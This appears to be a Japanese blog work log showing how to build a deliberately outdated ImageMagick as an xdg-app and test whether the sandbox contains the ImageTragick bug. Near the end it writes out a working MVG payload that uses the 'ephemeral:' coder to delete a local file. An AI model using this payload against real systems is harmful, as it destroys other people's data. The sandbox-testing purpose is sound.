xdg-app で ImageMagick を実行してみるテスト
xdg-app というのは、 linux の container/sandbox 機能を使って application をセキュアでポータブルにしようというようなヤツ。 (主に desktop application 向け?)
で、最近なにか見つかったらしい ImageMagick をネタにして色々やってみた作業ログ。
前準備として、とりあえず runtime, sdk を入れる。
$ wget https://people.gnome.org/~alexl/keys/gnome-sdk.gpg
$ xdg-app --user remote-add gnome --gpg-key=gnome-sdk.gpg http://sdk.gnome.org/repo/
$ xdg-app --user install gnome org.freedesktop.Platform 1.4
$ xdg-app --user install gnome org.freedesktop.Sdk 1.4
続いて ImageMagick の app を作る。
以下のような定義ファイルを用意して、
org.u7fa9.ImageMagick.json
:
{
"app-id": "org.u7fa9.ImageMagick",
"runtime": "org.freedesktop.Platform",
"runtime-version": "1.4",
"sdk": "org.freedesktop.Sdk",
"command": "convert",
"finish-args": [],
"modules": [
{
"name": "ImageMagick",
"sources": [
{
"type": "archive",
"url": "http://ftp.jaist.ac.jp/pub/Linux/Gentoo/distfiles/ImageMagick-7.0.1-0.tar.xz",
"sha256": "bd15aaef2aa2393b3d62b821f5752d5f4066a90d3b0d9259d93217ad47c056d9"
}
]
}
]
}
Note
脆弱性のテストができるように、ちょっと古いバージョンにしている。
xdg-app-builder
を実行。 source の取得やらビルドやらが走って、 app が repo に入る。
$ mkdir -p ~/repos/xdg-app
$ xdg-app-builder --repo=~/repos/xdg-app/org.u7fa9 ImageMagick/ org.u7fa9.ImageMagick.json
Note
xdg-app-builder
が、 org.u7fa9.ImageMagick.Locale
がどうのこうのと言ってエラー終了するけど、 取り敢えず ImageMagick は出来ているようなので気にしないことにする。
作った app をインストールして実行してみる。
$ xdg-app --user remote-add --no-gpg-verify u7fa9 ~/repos/xdg-app/org.u7fa9
$ xdg-app --user install u7fa9 org.u7fa9.ImageMagick
$ xdg-app run org.u7fa9.ImageMagick -version
Version: ImageMagick 7.0.1-0 Q16 x86_64 2016-05-08 http://www.imagemagick.org
Copyright: Copyright (C) 1999-2016 ImageMagick Studio LLC
License: http://www.imagemagick.org/script/license.php
Features: Cipher DPC HDRI OpenMP
Delegates (built-in): bzlib fontconfig freetype jng jpeg lcms lzma png tiff webp x xml zlib
動いてるっぽい。
画像の変換もしてみる。 (default では) filesystem は分離されているので、標準入出力でやり取りする。
$ file input.png
input.png: PNG image data, 72 x 72, 8-bit colormap, non-interlaced
$ xdg-app run org.u7fa9.ImageMagick - gif:- < input.png > output.gif
$ file output.gif
output.gif: GIF image data, version 89a, 72 x 72
脆弱性のテストもしてみる。ファイルが消えるはずのやつ。
$ cat > delete.mvg <<EOF
> push graphic-context
> viewbox 0 0 640 480
> image over 0,0 0,0 'ephemeral:/tmp/delete.txt'
> popgraphic-context
> EOF
$ xdg-app run org.u7fa9.ImageMagick - png:- < delete.mvg > output.png
convert: unable to open image '/tmp/delete.txt': No such file or directory @ error/blob.c/OpenBlob/2691.
convert: no decode delegate for this image format `EPHEMERAL' @ error/constitute.c/ReadImage/505.
convert: non-conforming drawing primitive definition `popgraphic-context' @ error/draw.c/DrawImage/3172.
$ ls /tmp/delete.txt
/tmp/delete.txt
上述したように、 filesystem は分離しているので手元のファイルは残ったままになる。
今度は /tmp
を共有するように指定して実行してみる。もちろんこの場合は手元からファイルが消える。
$ xdg-app run --filesystem=/tmp org.u7fa9.ImageMagick - png:- < delete.mvg > output.png
convert: no decode delegate for this image format `EPHEMERAL' @ error/constitute.c/ReadImage/505.
convert: non-conforming drawing primitive definition `popgraphic-context' @ error/draw.c/DrawImage/3172.
$ ls /tmp/delete.txt
ls: cannot access '/tmp/delete.txt': No such file or directory
参照
https://wiki.gnome.org/Projects/SandboxedApps https://blogs.gnome.org/alexl/2016/02/22/building-an-xdg-app-part-3/ http://d.hatena.ne.jp/Kango/20160504/1462352882